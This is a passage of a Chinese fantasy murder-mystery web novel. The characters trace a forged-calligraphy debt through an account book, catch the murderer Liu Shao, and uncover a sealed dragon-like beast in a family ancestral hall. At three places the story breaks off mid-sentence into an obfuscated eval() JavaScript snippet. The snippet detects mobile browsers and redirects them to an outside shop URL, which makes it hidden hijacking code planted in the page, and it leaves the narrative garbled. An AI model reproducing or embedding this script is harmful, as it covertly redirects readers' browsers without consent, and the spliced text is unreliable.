“将凝露许给金生是员外的主意,”朱云窈看向凝露,“我本想着金生是员外身边最得力的人,凝露能够嫁给他至少可以保证后半生衣食无忧,却没想到竟连累凝露也与我一同没了丈夫。” 凝露轻轻摇头,“夫人,您千万不要这么说。只要能够留在夫人身边,奴婢已经觉得知足了。” 朱妙仪看向凝露,“凝露,那你知道平日里金生都与什么人熟悉吗?若要你来猜测的话,你觉得金生在性命攸关的时刻会选择谁来托付呢?” 凝露思忖片刻,“我只知道金生平日里确实与商会的几位掌柜很是熟悉,但我与他很少说话,并不知道他最信任的人是谁。” “若说起信任,平日里与金生接触最多的实则是员外。”朱云窈颇有些惋惜地说道:“员外曾同我讲过,金生有一项堪称过目不忘的本领,所以这些年一直是金生负责帮员外记录钱家的各项账目。” 说着话,朱云窈站起身走到了书桌旁,将她刚才在看的账簿递给了朱妙仪。 “这是员外今年生意上往来的账簿。”朱云窈解释道:“这账簿本来是每月月末由商号掌柜交给员外审查的,但由于这月员外与钱大公子接连离世,掌柜便将账簿送到了我这里。” 朱妙仪将这本书翻开粗略浏览过一遍,发现确实如同朱云窈所说,这账簿记录得很是详实,将货物、钱款、甚至是在何处交易都仔细标注了出来。 “钱夫人,您知道这些年钱员外都在做什么生意吗?” “我只知道员外这几年一直与京中的贵人有生意往来,但具体是做什么,我就不知道了。”朱云窈看向那本账簿,“说实话,这么多年来我也是第一次经手家中的账簿。” 朱妙仪在家中时曾经学习过记账算账的本事,猜测朱云窈必然也是原先在家中学习过相关知识。只是这看账簿并非是只要账款数目能够对上便好,还要透过这些看似枯燥的数字看到背后是否存在欺瞒与疏漏。 “姑母,打理生意并非易事,看来您以后更是要有的忙了。” 朱云窈笑着摇头,“无妨,反正我本来就没有打算真的自己打理。” 朱妙仪突然灵机一动,“姑母的意思是说?” “术业有专攻,我当下并非是找不到可信任的帮手。”朱云窈微笑,“我已经打算拟一份合约,邀请刘绍刘公子到钱家来帮我打理生意。” 朱妙仪与晴朝对视一眼,晴朝问道:“您的意思是说,您要刘绍来做钱家的都管?” 朱云窈点头,“我很少见到员外会这么欣赏一个年青人,更何况这些年刘绍跟着钱大公子也算是做了一段时间,对于钱家的生意相对来说也比较熟悉。” 晴朝接着问道:“我记得您之前还说过,钱员外有意要将刘家的铺子还给刘公子。钱夫人,您现在还打算这样做吗?” “自然。”朱云窈回答得很是肯定,“刘家铺子本就是刘公子交给钱家抵债的,我既然想要刘公子帮助我打理钱家的生意,自然要先给予他一些好处。” 听到这,朱妙仪看向晴朝,二人对上视线的瞬间皆已经明白了对方此刻心中所想。 “姑母,今日我们便叨扰到这里了。”朱妙仪站起身,“只是若姑母不介意的话,我想将这本账簿拿回去再研究研究。” 从朱云窈院子走出来的时候太阳已经西斜,晴朝伸手扶着朱妙义的胳膊,而朱妙仪则仔细瞧着手里的账簿。 “妙仪,你说真的会有可能是刘绍杀的金生吗?”晴朝若有所思。 朱妙仪将账簿合上,“我只能说刘绍既符合与金生熟悉的特点,同时也对钱家的格局了如指掌,能够在杀掉金生后迅速找到逃离钱府的道路。” “可是,刘绍难道真的会为着这么一间铺子杀人吗?”晴朝眉心微微蹙起,“只是一间铺子而已,实则也不值几个钱吧?” “雀儿姐姐,这世上有更多为着比这少得多的钱杀人的案例。”朱妙仪将账簿抱紧在胸前。 晴朝从刚才便觉得很疑惑,“妙仪,你为什么将这本账簿也借回来了?难道是这本账簿中有什么问题吗?” “其实到目前为止,我也不知道这本账簿有没有问题。”朱妙仪露出一个乖巧的笑容,“只是这账簿记得实在仔细,我想着借回来随手翻一翻,说不定能够发现什么秘密呢。” 回到玉笛轩后,朱妙仪将自己与晴朝猜测告知了唐亦景和颜琅,同时还将那本账簿拿了出来。 “照这样说来,刘绍确实算是个有嫌疑的人。”颜琅接过账簿翻看,“毕竟他与钱家有利益纠纷,这间铺子便可以当做是他的杀人动机了。” “但与钱家利益纠纷的人不可能只刘绍这一个人。”唐亦景眉头微皱,“更何况,钱显孝已经死了,那间铺子之后是一定会被钱夫人还给刘家的,在这种情况下刘绍还有什么必要动手杀人呢?” 晴朝本就倚在唐亦景身边的茶几上,听到唐亦景这么说,没好气地换了一张桌子挨着。 “亦景哥哥,我明白你的顾虑,这毕竟也只是我与雀儿姐姐的一个猜测。”朱妙仪看向唐亦景和颜琅,“只不过这之后的求证工作便需要劳烦你与我表哥了。” 颜琅立刻站起身,“你放心吧,我和唐大人这就出去开始调查刘绍。” 待唐亦景与颜琅离开后,朱妙仪与晴朝回到了自己房中。朱妙仪坐在贵妃榻上翻看账簿,而晴朝坐在一旁,上半身百无聊赖地趴在炕桌上。 “妙仪,你说唐亦景究竟为什么这么讨人厌呢?” 朱妙仪笑着瞥了晴朝一眼,“雀儿姐姐,亦景哥哥只不过是比较谨慎,怎么能够被说是讨人厌呢?” “但你看你家颜公子就很会说话啊。”晴朝学着颜琅刚才立即站起身的样子,“你再看唐亦景,每次都一副不情不愿的样子,真不知道他脑子里到底在想什么。” “亦景哥哥比我表哥岁数要大多了,自然要沉稳些。”朱妙仪将账簿放到炕桌上,“你总不能要求亦景哥哥平日里还要和我表哥一般是少年心性吧?” “果然啊,这男人还是年纪小的好。”晴朝瘪嘴,“看来这次回妖界,我得寻几个不到五百岁的小男孩来陪我。” 朱妙仪被晴朝的话逗笑,轻轻摇了摇头。 晴朝顺手将账簿拿过去翻了翻,她认的字不多,对于这满篇的账目更是莫名其妙,因此不过翻了两页便又放下了。 “妙仪,你能不能在这本账簿里找出钱员外日前所说的那笔出事了的账目啊?” 朱妙仪一愣。 晴朝用手指点了点账簿,“从前我总觉得那些躲在柜台后面敲算盘的掌柜厉害,今天你也教教我该怎么看账簿呗。” “雀儿姐姐,教会你看账簿倒是不难,但对于现在来说也许并非是最紧要的事情。”朱妙仪忽然翻开账簿,抬头看向晴朝。 “亦景哥哥说得对,我姑母本就打算将刘家铺子还给刘绍,所以他根本没有杀人的必要。” 她的眼睛中闪烁着兴奋的光芒。 “但如果金生知道一件会阻挠我姑母将铺子还给刘绍的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐亦景大致翻阅了一下账簿,“你们的意思是说,刘绍是为着灭口才杀掉的金生。” 朱妙仪点头,“金生被杀害,最大可能还是因为生意上的事情。这些年钱员外几乎从不将生意上的事情告知我姑母,自然也就不可能带人到钱家做客,所以想要找到既与金生熟悉又了解钱府格局的人,实则并不多。” 唐亦景点头,将账簿又递给了朱妙仪。 “那岂不是说,如果我们猜测的方向没有错,只要能够找到那笔出了问题的账目,便能够找到凶手杀害金生的目的和证据。”颜琅看了看晴朝,再确认过对方不吃了之后,才放心地将最后一个蟹肉馒头夹到了自己盘中。 “是的,只可惜……”朱妙仪用手掌婆娑了一下账簿封面,“即便这账簿记录得很是详实,我还是难以在短暂时间内找出那笔出了问题的账目,更何况那笔账目必然是以一个合理的形式被伪装过的。” “明日我与颜公子可以再去钱家商号一趟,打探打探刘绍这段时间究竟在帮钱显孝负责哪些工作。” “又或者……”颜琅忽然开口说道:“今晚我们直接翻墙到刘家去看一看,他只要是真的做过这件事,我就不信他会什么痕迹都没有留下。” “这个我支持。”晴朝忙不迭地举起一只手。 唐亦景看着这俩人说话都不耽误吃饭的样子,无奈地摇了摇头。 “不行。” 颜琅有些震惊地看着说话的朱妙仪。 “万一刘绍发现了你们,日后就算是在他家发现证据,他也可以说是被我们栽桩嫁祸了。”朱妙仪将杯中的最后一点酒一饮而尽,有些不舍地放下了酒盏,“所以说,在我们找到确凿证据之前,绝对不能打草惊蛇、轻举妄动,” 20. 第 20 章 许是因为晚食的时候喝过酒,朱妙仪总觉得有些燥热。坐在灯下看了一会账簿,朱妙仪实在坐不住,最终决定披了件外袍到院中散步。 刚走了一圈,对门的房间忽然传来一声门响,朱妙仪停下脚步,果然看见一个熟悉的身影鬼鬼祟祟地走了出来。 “颜琅!” 颜琅脚步一顿,回头却看见朱妙仪好整以暇地站在院中看着自己。 “吓我一跳……”颜琅见自己偷偷溜走的计划失败了,只能嘟嘟囔囔地走到了朱妙仪身边。 “这么晚了你怎么还不休息啊?” “自然是害怕某人大半夜的偷偷翻人家墙啊。”朱妙仪伸出手在颜琅额头上轻轻一点,“表哥,你忘了舅舅之前是怎么嘱咐你的了?凡事三思而后行,切莫被人抓住了把柄。” 颜琅无奈地噘嘴,“本想着离开京城能海阔任鱼跃呢,没想到还要被你这个女先生管着。” 朱妙仪被逗笑,拉起颜琅的胳膊继续在院中散步。 “妙仪,既然我们已经对刘绍有所怀疑了,为什么不直接去他家调查?若是真的靠你翻账簿,那你的眼睛还要不要了?” 朱妙仪轻轻扭了一把颜琅的胳膊,“欲速则不达,你和亦景哥哥先去商号调查着点,左右这几日刘绍都没有去过商号,你和亦景哥哥不会被发现的。” “好吧。”颜琅长叹了一口气,半晌忽然笑着说道:“旁的我不知道,不过我觉得钱家应该是不敢将字画生意交给刘绍来做的。” 朱妙仪诧异地看了颜琅一眼,“表哥何出此言?” “你还记得咱们第一天与刘绍见面时,刘绍曾经提起过他很喜欢我父亲的草书吗?” 朱妙仪点头。 “当时他在宴席上夸赞我爹的小草笔法精妙,但实际上我爹最不喜欢小草牵丝映带之像,一贯是只写狂草的。”颜琅摇了摇头,“当时我只道刘绍是想要附庸风雅,所以并没有揭穿他。” 朱妙仪听了这话也是微微一笑。 突然,朱妙仪伸手拉住了颜琅的袖子。 “表哥,那你说钱员外那笔惹得京中贵人震怒的生意,会不会就是字画生意呢?” 颜琅看向朱妙仪,“你的意思是说,刘绍在字画上造了假?” “又或者说,是刘绍装出一副懂行的样子购买了字画,结果后来发现居然是假的。” “但发现的时候钱员外已经将那批字画倒手卖给了京中的贵人。”颜琅喜出望外,“也难怪钱员外说京中的贵人震怒,若要我父亲知道他手上花高价买来的一幅字画竟然是赝品,他也会气得恨不得将那商贾千刀万剐的。” 朱妙仪这下没有了继续散步的打算,嘱咐过颜琅第二日要到商号打听近半年钱家经手的字画生意后,快步回到了房中。 第二日,唐亦景与颜琅确实在掌柜们口中打听到约莫两月前,钱员外曾经将三幅字画卖到了京中,钱员外并未表明过对方的身份,只说对方是皇亲国戚,是万万开罪不得的。 至于那三幅字画的来历,钱员外也并未说明过,只说是近期从家中偶然翻出来的。 而经过缩小范围后,朱妙仪与晴朝也于午后发现了那笔账目。金生在账簿上认真地记录下了那三幅字画的来历——“刘家祖产之物”。 “原来是刘绍将家中的祖传字画也交给了钱员外抵债。”晴朝翻看着账簿啧啧称奇。 经过这一上午,晴朝现在已经能够看明白账簿中的各项内容都代表了什么,因此再看这本账簿的时候便不觉得枯燥无味了。 朱妙仪看向唐亦景,“劳烦亦景哥哥今日下午便将这本账簿交给赵都头吧,我想赵都头会妥善处理刘绍的事情。” 待唐亦景与颜琅去了县衙,晴朝只觉得在府中等待有些无聊,干脆拉着朱妙仪去了西院散步。 朱妙仪一看到晴朝左顾右盼的样子便知道她还没有放弃在府中找到那妖兽的线索,因此跟着晴朝在西院中走走停停。 也是在这过程中朱妙仪惊讶地发现,自己无论身处西院什么位置,都能够看到钱家祠堂,哪怕只是一角。 看着那座祠堂如同躲不开的眼睛一般注视着自己,朱妙仪不自觉地缩了缩脖子,“钱家这祠堂修建得还真的古怪,莫名还觉得怪瘆人的。” 晴朝还在忙着分辨空气中有无妖气,听到朱妙仪这么说,也伸长了脖子看向祠堂。 “朱二娘子,晴朝姑娘。” 朱妙仪被这突如其来的声音差点吓了一哆嗦,扭过头看见凝露颇有些愧疚地看着自己。 “奴婢冒犯,是不是吓到朱二娘子了?” “没有的事。”朱妙仪赶紧摆摆手,“凝露姑娘这是往哪里去啊?” “员外的书房。”凝露微笑,“刚才我家夫人吩咐我去库房取了件要紧的东西,这会我正要将对牌放回员外的书房呢。” 对于这些高门大户来说,常常将开库房这等要紧地方的对牌钥匙一分为二,家中男女主人各保管一部分,这样便能够有效避免家中的要紧东西出现遗失。 “要紧的东西?”朱妙仪重复了一句,但转念一想自己并不该打听钱家的私事,因此只是点了点头,便打算与凝露作别。 “朱二娘子并非是外人,奴婢刚才是去库房取刘家铺子的房契了。”凝露解释道:“刘公子答应日后会帮助夫人打理钱家生意,因此夫人已经将刘家铺子的房契交还给刘公子了。” 朱妙仪与晴朝对视一眼,急忙问道:“那现在刘绍人呢?” 凝露被朱妙仪的急迫吓了一跳,赶紧说道:“刘公子说昨日说有一批货物被滞留在了邻县,因此要亲自前往码头看一看情况,这会估计已经出发了吧?” “码头?”晴朝一把抓住朱妙仪的胳膊,“不好,刘绍这是要跑。” 话音刚落,朱妙仪赶紧拉住凝露的胳膊,“凝露,快派人去县衙送信,就说刘绍已经要逃跑了。” 凝露懵懂地点了点头,刚准备离开,又被晴朝拉住了胳膊。 “凝露姑娘,还有一件事。”晴朝的目光炯炯有神,“你可知道刘绍家住何处吗?” 这毕竟是人口密集的城镇,晴朝不敢现出原形,只能带着朱妙仪骑马一路狂奔。朱妙仪本就是第一次骑马,虽说被晴朝一路护在怀中,但还是差点把五脏六腑都颠散了。 下马后,朱妙仪直接冲到路边上干呕了起来。 “妙仪……” “别管我了……”朱妙仪赶紧对晴朝摆了摆手,“赶紧去找刘绍……呕!” 晴朝不再迟疑,三步并作两步冲进了刘绍家中。 刘绍的院子只有一进两间房屋,比起玉笛轩甚至都要小些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241770|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。晴朝走进院子后并没有听到什么动静,便放缓了脚步开始在刘绍家中搜寻起来。 走进刘绍卧房的时候,晴朝看到地面一片狼藉,转瞬之间便明白应当是因为刘绍在家中慌乱地收拾过行李,她担心刘绍已经离开了家中,只能加快脚步走去了下一间房屋。 这间好像是刘绍家的柴房,内里有大量的柴火和稻草,总之就一片狼藉。晴朝对于那扇稻草垛有些怀疑,正站在稻草垛旁边思考自己应该用个什么东西将稻草垛挑开的时候,忽然听到背后传来一阵破风之声。 晴朝往旁边一闪,堪堪躲过了那个朝着自己后脑勺袭击而来的大铁耙。抬起头来,只见刘绍正一双眼睛猩红地看自己。 见一击未中,刘绍又举起铁耙打向晴朝,晴朝再次躲开了铁耙,但刘绍的这一举动已经激怒了晴朝。 晴朝额头上的羽毛图案忽然变得异常明艳,脸周围也逐渐生出了一圈密密麻麻的羽毛。她一双眸子死死地盯着刘绍,面上忽然露出一个妖冶的笑容。 刘绍被晴朝的变化吓得愣在原地,就在此时他听到门外传来赵刚的声音。 “快!进去搜查!” 刘绍不再犹豫,放下钉耙转身逃出了门。 晴朝也听到了外头的动静,只能生生将自己的妖气压制了回去。她快步走出柴房,正好看到刘绍准备从后墙翻墙而逃的身影。 “刘绍在这!快!” 赵刚此时尚且站在院门口,尽管尽全力也不可能追上在后墙翻墙的刘绍。眼看着刘绍攀上院墙要翻过去的时候,赵刚忽然看见一道身影两步蹿上了院墙。 刘绍见颜琅翻上院墙,转身又跳了下来,借着墙边的杂物爬上了屋顶。他在上了屋顶后还不忘将墙边的杂物推倒,接着沿着屋顶上向北方逃去。 颜琅借助墙角一蹬便跃上了屋顶,见刘绍沿着屋顶逃窜,颜琅往前追了两步,纵身一跃跳到了隔壁人家的房顶上。 刘绍见前面便是屋脊尽头,心头一喜,抱紧了包袱刚准备跳下屋顶,忽然感觉怀中一空。 扭过头去,正好看见颜琅站在隔壁屋脊上举着包袱笑嘻嘻地看着自己。 刘绍面色一沉,却还是蹲下身准备纵身跃下房顶。谁知双脚刚一起跳,便感觉一条锁链缠住了自己的脚踝。 回头一看,赫然发现颜琅平日里抱着的宝剑剑柄处已经变成了一根铁链,正死死地挂住了自己的脚踝。 颜琅将铁链往怀中一勾,自己纵身跳过屋顶,落到了刘绍跟前。 刘绍连起身都做不到,便被颜琅用剑身劈在了脖颈侧后方,结结实实地晕了过去。 待赵刚与其他几名弓手终于翻上房顶的时候,只见颜琅已经用铁链将刘绍捆了个严严实实。 待颜琅落回地面后,晴朝扶着朱妙仪走了过来。 “颜公子,身手不错嘛。” 颜琅不好意思地挠了挠头发,“原先在家中翻墙逃课习惯了,我家先生追我的身手比这可厉害多了。” 朱妙仪此时已经缓了过来,见刘绍被赵刚五花大绑地押解住,心里终于松了一口气。 “好了,这下咱们可以回钱府了。”晴朝看向院外那匹马,又看向朱妙仪。 朱妙仪赶紧摆了摆手,捂着嘴巴说道:“雀儿姐姐你自己骑马回去吧,我现在觉得走一走也挺好的。” 21. 第 21 章 赵刚等人带着刘绍直接回了县衙,而晴朝最后也没有再骑马,一行四人是牵着马走回的钱家。 第二天赵刚登门拜访,表示刘绍对于自己杀死金生的罪行已经供认不讳。 原来刘绍因为钱显孝执意反对钱员外将刘家铺子还给自己的事情一直耿耿于怀,他知道朱云窈会站在自己这边,本来打算趁这次跟着钱显孝一同回来,找一个好时机的时机杀掉钱显孝,没想到金生忽然到他家中告知了他钱显孝被杀的消息,同时还将钱员外自己做局反被杀害的事情告知了刘绍。 刘绍本来是真心实意想要帮助金生离开此地,然而就在二人一同翻墙进入西院掩埋钱员外尸体的时候,刘绍忽然得知钱员外之所以想要做局是因为他在两个月前卖到京城的那三幅字画出了问题。 刘绍立刻明白过来,那是自己拿来给钱家抵债的家传字画。 当时刘绍为了还债,连家中的铺子都抵给了钱家,因此钱员外便并没有怀疑什么。然而刘绍自己心里清楚,他并未将自己家中真正祖传的三幅字画交给钱员外,被他拿来抵债的实则是三幅赝品。 刘绍本想着自己过段时间赚了钱便能够赎回这三幅字画,那样自己的所作所为便不会被任何人发现,但他没想到的是钱员外对于字画根本不感兴趣,因此转手将那三幅字画以高价卖掉了。 刘绍明白,如果金生活着离开钱家,那他就永远存在被揭穿的风险。但只要金生死了,朱云窈并不了解钱员外生意上的事情,对于账簿也并不熟悉,他的罪行便能够永远封存于历史之中。 因此,看着一旁认真挖坑的金生,刘绍选择举起了铁锹。 “刘绍虽然承认了杀害金生的罪行,但坚决不承认是自己杀害了钱显孝,更不要说钱员外被杀害的时候,刘绍甚至还没有回到安南县。”赵刚明白钱家的案子还并没有结束,因此在说完这些后便立刻拱手告辞了。 待唐亦景送赵刚回来,他们四人又聚集在了堂屋之中。 “好啃的骨头啃完了,看来咱们又得回来继续应付这块硬骨头了。”晴朝长叹一口气,“不过真是奇怪了,我就差趴在地上把钱家的每一寸土地都闻一遍了,怎么就是找不到那妖兽的踪迹呢。” 朱妙仪也很是疑惑,托着腮问道:“难道那妖兽其实早已经逃走了?” “钱家的案子看似错综复杂,实则都指向同一个源头。”唐亦景眯起眼睛,“钱家祠堂。” 晴朝斜睨了唐亦景一眼,“怎么,接引大人终于坐不住了?” “时隔多日仍未寻找到害人真凶,也就意味着现在并非是我不讲规矩,而是情况危急,事出有因。”唐亦景将手中的拂尘一晃,“所以说,今晚,咱们必须要进钱家祠堂看一看。” 朱妙仪和颜琅都没明白唐亦景在说什么,不约而同地扭头看向晴朝。却见晴朝冷笑着瞧了唐亦景一眼,接着给他俩解释道:“没事,唐亦景是怕遭雷劈。” 夜半三更,一行人悄无声息地出现在了西院钱家祠堂门口。 此时祠堂的大门已经又被那把黄铜大锁锁了起来。四人面对大门站定,颜琅刚准备拔出剑来,却见晴朝轻轻摆手。 晴朝的手在空中轻轻一挥,那把黄铜大锁便直接被劈成了两半。 回头看了一眼朱妙仪与颜琅惊讶的表情,晴朝心情很好地推开了祠堂的大门。 朱妙仪刚走进去便发现这钱家祠堂内部与寻常祠堂也并不相同,因为钱家祠堂外部是宝塔形状,因此在祠堂内部中央有一块天井,一根直通塔顶的柱子立在那里,上头密密麻麻摆满了钱家的各位祖先牌位。 “你们看。” 朱妙仪循着唐亦景的声音看去,果然看到地面上有大片已经干涸的深色痕迹。 “是钱员外的血。” 唐亦景点了点头。 颜琅此时已经发现了通向上层的台阶,一行人顺着台阶向上走去。 在第二层,他们又发现了大片更加新鲜的血迹,应该是前不久刚遇害的钱显孝的血痕。看着地上与墙面上大片的喷溅式血迹,朱妙仪忽然感觉到后背一阵发凉。 “这么看,怪不得赵都头他们说在这祠堂内什么都没发现呢。”颜琅已经从三层走了下来,“上面我也已经检查过了,格局布置与二层一模一样,一眼就能看到头。别说要藏一头妖兽了,我看就是想藏一个人都挺费劲的。” 唐亦景此时站在二层边缘,居高临下地看着整座祠堂。 “晴朝,你有没有觉得这间祠堂看起来有些奇怪?” 但他没有听到回答。 朱妙仪率先环顾四周寻找,却发现晴朝并没有跟上众人,而是一个人落在了最后面,这会正扶着墙在楼梯口站着。 朱妙仪眉头微皱,向晴朝走去,“雀儿姐姐?” 然而下一刻,却见晴朝忽然向前吐出一口鲜血,接着支撑不住摔倒在了地上。 “雀儿姐姐!” “晴朝!” 唐亦景快步走到晴朝身边将她抱在怀里。朱妙仪见晴朝嘴边还有残留的鲜血,眼泪瞬间便涌出了眼眶。 “雀儿姐姐,这究竟是怎么了?” 唐亦景赶紧将晴朝的手腕握在手中,略一探查便发现晴朝此时内息皆乱。饶是唐亦景都已惊出了一头冷汗,握住晴朝的手便打算将真气传输给她。 “唐亦景……”晴朝忽然挣扎着睁开了眼睛,“这里有……有法……” “有什么?”唐亦景赶紧俯下身,将自己的耳朵贴在晴朝嘴边。 “有……法阵……” 唐亦景一愣,忽然抬头对一旁的朱妙仪说道:“妙仪,你退后。” 接着,只见唐亦景从手中拂尘上撵下一缕尘尾毛抛向空中,念动咒语后,那缕尘尾毛忽然像利箭一般绷直,悬挂在了晴朝的上方。 之后,唐亦景又双手结印按在了晴朝额头上,那缕漂浮在空中的尘尾毛瞬间便如同找到方向般射入了晴朝的眉心。 朱妙仪失声叫道:“亦景哥哥!” 唐亦景此时已经将昏迷过去的晴朝抱了起来。 “放心,我刚才是将晴朝的一魂一魄暂时封闭了起来,如若不然这法阵只会一刻不停地攻击晴朝的魂魄,直至她魂飞魄散。” 朱妙仪看着晴朝的手软软地垂了下来,赶紧走上前攥住了晴朝的手。即使现在晴朝已经暂时失去了意识,朱妙仪仍然能感受到晴朝手心中的冷汗。 唐亦景已经转身下了楼梯,朱妙仪与颜琅对视一眼,急忙跟着走了下去。 “亦景哥哥,这究竟是怎么回事啊?” 唐亦景将晴朝轻轻放到一楼地面上,朱妙仪立即走上前揽住了晴朝,让她的头能够倚靠在自己的肩膀上。 “在这祠堂内有一个封印,能够使被封印其中的妖兽永生永世不得离开。”唐亦景走到那根柱子旁边,“晴朝是被误伤了。” 颜琅此时也走到了唐亦景的身边,他看着唐亦景的背影,开口问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241771|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唐大人,接下来要怎么做?” 唐亦景没有回头,“保护好妙仪。” 说完,唐亦景俯下身单膝跪地,同时将手中的拂尘化为一柄短剑,狠狠插入了地面。 登时,朱妙仪立刻感觉到大地开始剧烈震动,颜琅赶紧用身体遮住了朱妙仪和晴朝。没一会,朱妙仪忽然听到从地底下传出一阵仿佛野兽嚎叫的声音。 朱妙仪与颜琅一齐抬头,惊讶地发现那祠堂中间的柱子竟然开始缓缓转动,伴随着上牌位的逐渐上移,一条缠绕在柱子上的巨大黑影出现在了众人面前。 颜琅诧异地张开了嘴巴,“这……这是什么怪物?” 插进地面的拂尘好像带给了那只怪物巨大的痛苦,因此它在看清唐亦景的瞬间便张大了嘴巴向唐亦景扑了过来。这时颜琅终于看清了这只怪物的样貌——它的外形看起来像一条巨大的黑蛇,长长的身躯盘旋在中间的柱子上。与寻常蛇类不同的是,它身上披了一层厚厚的黑色鳞片,脑袋上还长了一对鹿角。 颜琅倒吸了一口凉气,“这……难道是一条龙吗?” “这是蛮甲。”朱妙仪仔细辨认后笃定地说道:“我曾经在玉衡阁的古书中读到过这种妖兽,蛮甲的外形类蛇,生有獠牙巨口。最重要的是古书明确记载,寻常蛮甲经过修炼,能够逐渐变成龙的样子。” 看着这条蛮甲的样子,朱妙仪脑海中忽然想到那晚她梦到的妖兽。 难道那并非是龙,而是一条修炼多年的蛮甲吗? 那蛮甲见了唐亦景后丝毫不惧,张大了嘴巴便向唐亦景扑了过来。唐亦景躲开后腾空而起,挥舞拂尘向蛮甲连击数下。趁蛮甲被法术打得抬不起头来之际,唐亦景脚尖踩着蛮甲的身躯向上攀去,纵身一跃到蛮甲头顶。 唐亦景将拂尘抛向空中,口中念动咒语,那拂尘的尘尾立刻化作千万条丝线向蛮甲袭去。从背面看去,唐亦景伸长手臂,犹如一棵生出了千万条银丝绦的柳树。伴随着他手掌的张开,那些丝线狠狠地扎入蛮甲体内,变成了一道道金色的光芒。 最后只听得蛮甲仰起头发出一声吼叫,身体控制不住向下落去。待蛮甲的身躯重重落地时,唐亦景也稳稳地落回到了朱妙仪与颜琅面前。 “都还好吗?” 朱妙仪点了点头。 唐亦景放下心来,转头看向那只巨大的蛮甲。 “我想,你需要给我一个合理的解释。”唐亦景忽然抬起左手,伴随着他的动作,蛮甲立刻痛苦地蜷缩成了一团。 “否则,就凭你现在身上背负的两条人命,我完全可以即刻杀了你。” 那蛮甲重重地喘了一口气,接着勉强抬起头看向唐亦景。 “接引大人……伤害那只朱雀的不是我……而是已经死掉的……钱家人。” 唐亦景眯起眼睛。 “她不过是承受了片刻封印法阵的折磨便已经痛苦至此……而我在此处……已经被封印了数十年……接引大人……你应该对于我还活着……而感到十分意外才是……” 唐亦景松开了手。 “这封印十分复杂,绝非是常人能够做到的。”唐亦景目光如炬看向蛮甲,“我要你一五一十地告诉我究竟是怎么一回事,若有半句虚言,我会立刻送你上路。” 大约是身上的疼痛减轻,那只蛮甲的话也变得更为流畅,他顺着柱子盘旋而上,低头看向站在地面上的唐亦景。 “接引大人,事情要从四十五年前说起。” 22. 第 22 章 令朱妙仪没想到的是,这条蛮甲并非是从无妖河北岸逃窜过来的,它自出生伊始便生活在人界。 “蛮甲一族,无一不想通过修炼达到似龙的境界,因此这数百年来我一直潜心修炼,为的便是能够顺利度过天劫,进入修炼的下一境界。”蛮甲缓缓地立起了上半身。“然而,我还是低估了天劫的威力。” 到此时,朱妙仪才看到这条蛮甲身上的鳞片并不光滑,在许多鳞片上还留有坑坑洼洼的痕迹,看起来好像是被什么利器所砍伤的一般。 “我确实度过了天劫,但也因此变得奄奄一息,最终支撑不住自己坠落到了钱家的祠堂,也是在这里我第一次遇到了那个姓钱的。” 朱妙仪忽然想起来,古书中记载蛮甲有一种能力,那就是能够为人族带来滔天的富贵。 “当时那个姓钱的才不过二十几岁,我因为他在见到我时没有害怕,便与他做了一笔交易。我告诉他我可以帮助钱家获得更多的财富,但同时他也要帮我找到恢复我身体的药材。”说到这,蛮甲忽然从鼻子里发出一声粗重的喘息。 “一开始他确实信守了承诺,为我寻来了不少稀罕的药物助我身体恢复。然而我怎么也没有想到,那个贪婪的人族就为了让钱氏一族能够世代富裕下去,竟选择找人在此地设置了法阵好将我永远困在了这里。” 朱妙仪想起凝露曾经说过这座宅院是在钱员外年轻时亲自找人设计的,如今想来他应当就是在那时候,将钱家祠堂变成了困住这条蛮甲的封印。 唐亦景抬头看向祠堂内部,“这个封印能够将你永生永世困在其中,并且无时无刻不饱受折磨,使你永远没有力气挣脱出去。” 说完,唐亦景看向蛮甲,“钱员外为了封印你,可真是寻了高人。” 蛮甲又从鼻子里喘了一声粗气,“这个姓钱的困了我多久,我便恨了他多久。这些年来,我每时每刻都受着折磨,也每时每刻都在想着我要啖其肉、饮其血。钱家对我做的所有事情,我都要让他们血债血偿!” “这个封印时至今日都没有失效,你应当是逃不出来的才是,可为什么……”唐亦景灵光一现,“是那道雷?” 蛮甲点了点头。 “天劫重伤了我,害得我落入今日这般田地;没想到却也帮了我,让我能够从这法阵的封印中寻到一个突破口。那道雷使得封印变得松动,我虽然无法立刻离开此处,但至少能够从这座祠堂中自由活动了。” 蛮甲口中獠牙的寒光一闪而过,“最重要的是,那道雷劈向祠堂的时候,那个姓钱的并不在府中,所以说他并不知道封印出事的消息。” “之后,钱员外与金生、钱夫人合谋想要假死托生。他本以为有这道封印在,这座祠堂必然是安全的地方,却没想到他这一举动是将自己生生地送入了你的口中。” 唐亦景忽然回想起他们一行人第一次进入钱员外的书房的时候,那书房同样并非案发的地方,却仍然被晴朝发现了妖气,如今想来竟是因为钱员外曾经往返过祠堂与书房,而将蛮甲的妖气沾在身上带了过去。 